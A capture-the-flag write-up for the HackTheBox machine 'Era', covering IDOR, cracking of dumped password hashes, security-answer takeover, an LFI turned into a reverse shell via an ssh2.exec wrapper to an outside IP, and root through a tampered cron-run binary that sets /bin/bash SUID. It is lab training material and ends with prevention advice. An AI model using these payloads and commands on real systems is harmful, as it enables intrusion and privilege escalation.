> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-era.md).
# HTB - Era
## Enumeration and Foothold
```powershell
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```
Browsing to port 80 reveals the domain era.htb. Add the domain to the hosts file.
also anonymous access on FTP port is blocked.
### HTTP
possible user name on the web page.
everything on the webpage seems to be static and nothing to do here.
gobuster gave a new vhost. add the domain to hosts file to access.
the go option on any of the above results in redirect to signin. also there is another option to signin via security questions.
Directory search on the new subdomain gave a new directory called register.php which allows to register an account.
once registered we can use the creds to login to the application.
there is an upload feature. Lets upload a file and see what’s happening.
the id parameter takes a numeric value which could be a potential place to exploit IDOR.
### IDOR
the link can be used to download the file locally. By checking if the download option is vulnerable to IDOR we can be able download files of other users.
if the file exists, it responds with Download is ready.
i can use intruder to brute force to identify the files existing.
intruder gave id=54 as a successful hit which confirms the successful exploitation of IDOR.
id 54 referenced to a backup file. Download the file locally to inspect the backup file.
there is an sqlite dataabse file.
```powershell
──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite ".tables"
files users
──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite ".schema users"
CREATE TABLE users (
user_id INTEGER PRIMARY KEY AUTOINCREMENT,
user_name varchar(255) NOT NULL,
user_password varchar(255) NOT NULL,
auto_delete_files_after int NOT NULL
, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
┌──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite "SELECT * FROM users;"
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
```
The **admin account has security answers stored in plaintext** (unlike the other users).
* **Username:** `admin_ef01cab31aa`
* **Mother's maiden name:** `Maria`
* **First pet:** `Oliver`
* **City born:** `Ottawa`
Also i can use hashcat to crack the passwords.
```powershell
┌──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite "SELECT user_name || ':' || user_password FROM users;" > hashes.txt
cat hashes.txt
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
```
```powershell
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
```
`eric : america` and `yuri : mustang`
Since the admin security questions are displayed plainly i can try using them through log in via security questions to check if i can be able to access the admin panel.
the security questions answers for admin result in incorrect answers.
there is also a reset.php file in backup file.
```powershell
┌──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ cat reset.php
prepare($query);
$stmt->bindValue(1, $new_answer1, SQLITE3_TEXT);
$stmt->bindValue(2, $new_answer2, SQLITE3_TEXT);
$stmt->bindValue(3, $new_answer3, SQLITE3_TEXT);
$stmt->bindValue(4, $username, SQLITE3_TEXT);
if ($stmt->execute()) {
$operation_successful = true;
} else {
$error_message = "Error updating security questions. Please try again.";
}
}
}
?>
```
```powershell
$query = "UPDATE users SET security_answer1 = ?, security_answer2 = ?, security_answer3 = ? WHERE user_name = ?";
```
It checks that you're logged in `($_SESSION['eravalid'])`, but it does not check that the username field matches your own username. It blindly updates whichever user\_name you supply in the POST body. That means, as your own regular logged-in user, you can overwrite the admin's security answers to values you choose then log in as admin via security\_login.php with your new answers.
once setup, can use them via the log in through security questions to log in.
### Access as Admin
There is a signing.zip file in the admin panel we can download it to see what it contains.
```powershell
┌──(ajay㉿kali)-[~/Downloads/signing]
└─$ ls
key.pem x509.genkey
┌──(ajay㉿kali)-[~/Downloads/signing]
└─$ cat x509.genkey
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts
[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com
[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
┌──(ajay㉿kali)-[~/Downloads/signing]
└─$ openssl x509 -in signing/key.pem -text -noout 2>/dev/null || cat key.pem
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----
```
But ssh port is not open on the machine so cant do anything with these.
Also earlier i found credentials for yuri and eric i can try using them against the ftp port.
### FTP access as Yuri
creds for yuri works.
There’s no need to collect all these files, but it is worth noting the extensions available to PHP, specifically `ssh2.so`.
The website `file.era.htb` has a file download functionality with an LFI (Local File Inclusion) vulnerability in `download.php`.
The `show` parameter allows PHP wrappers, and the server has `ssh2.so` enabled
```powershell
──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ cat download.php
' . htmlspecialchars($title) . '
' . htmlspecialchars($subtitle) . '
' . $content . '
';
}
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}
if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}
$reqFile = $_GET['id'];
$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it
if (!$realFile) {
echo deliverTop("Era - Download");
echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echo deliverBottom();
} else {
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
// Allow simple download
} else {
echo deliverTop("Era - Download");
echo deliverMiddle_download("Your Download Is Ready!", $fileName, '');
}
}
?>
```
The admin-only show feature can be accessed via:
```powershell
download.php?id=1&show=true&format=php://filter/convert.base64-encode/resource=
```
### LFI to RCE
Lets upload a image file first
thats said i can try getting reverse shell.
```powershell
GET /download.php?id=8547&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.49/4444+0>%261'%23 HTTP/1.1
```
## Shell as Eric
```powershell
eric@era:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
eric@era:~$ export TERM=xterm
export TERM=xterm
eric@era:~$
```
checking the id result on the eric shell gives eric is part of devs group.
We found a custom binary in `/opt/AV/periodic-checks/monitor` owned by the `devs` group.
```powershell
eric@era:~$ find / -group devs -type f 2>/dev/null
find / -group devs -type f 2>/dev/null
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
eric@era:~$
eric@era:~$ cd cd /opt/AV/periodic-checks/
cd /opt/AV/periodic-checks/
eric@era:/opt/AV/periodic-checks$ ls -la
ls -la
total 32
drwxrwxr-- 2 root devs 4096 Aug 5 17:40 .
drwxrwxr-- 3 root devs 4096 Jul 22 2025 ..
-rwxrw---- 1 root devs 16544 Aug 5 17:40 monitor
-rw-rw---- 1 root devs 205 Aug 5 17:40 status.log
eric@era:/opt/AV/periodic-checks$
```
the file being modified everyminute which suggest probably a cron is updating it.
i wil upload pspy64 to monitor for root processes.
1. **Cron runs as root** every minute (`/usr/sbin/CRON -f -P`)
2. It executes `/root/initiate_monitoring.sh` as root
3. That script runs `/opt/AV/periodic-checks/monitor` as root
4. It's running **every minute** (at :44, :45, etc.)
This gives us a 1-minute window to replace the monitor binary and get root!
### Privilege Escalation to Root
Check the status.log to see any errors:
```
tail -f /opt/AV/periodic-checks/status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: can't dump section '.text_sig' - it does not exist: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
```
The script verifies the binary by checking for a `.text_sig` section using `objcopy`. If we replace the binary, the signature check fails.
We need to extract the signature from the original binary and add it to our malicious binary.
```
cd /opt/AV/periodic-checks/
cp monitor monitor.bak
objcopy --dump-section .text_sig=text_sig_section.bin monitor.bak
```
Create a C program that makes `/bin/bash` SUID root:
```powershell
cat > evil.c << 'EOF'
#include
#include
#include
int main() {
setuid(0);
setgid(0);
// Make /bin/bash SUID root
system("chmod +s /bin/bash");
system("chmod 777 /bin/bash");
// Also create a backup in /tmp just in case
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
// Execute the original monitor
execl("/opt/AV/periodic-checks/monitor.bak", "monitor.bak", NULL);
return 0;
}
EOF
```
```powershell
eric@era:/opt/AV/periodic-checks$ gcc -o monitor evil.c
gcc -o monitor evil.c
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod +x monitor
eric@era:/opt/AV/periodic-checks$ objcopy --add-section .text_sig=text_sig_section.bin monitor
objcopy --add-section .text_sig=text_sig_section.bin monitor
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod +x monitor
eric@era:/opt/AV/periodic-checks$ objdump -h monitor | grep text_sig
objdump -h monitor | grep text_sig
27 .text_sig 000001ca 0000000000000000 0000000000000000 0000303b 2**0
```
Wait for the next minute to pass, then check if the SUID bit was set:
## Shell as Root
### Prevention Recommendations
1. **Sanitize user input** in PHP scripts (no direct file inclusion)
2. **Disable dangerous PHP wrappers** in production
3. **Restrict cron jobs** to run with least privilege
4. **Implement proper binary signing** with verification
5. **Don't store SSH credentials** in plain text
6. **Audit group permissions** regularly
7. **Use SELinux/AppArmor** to restrict binary execution
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-era.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
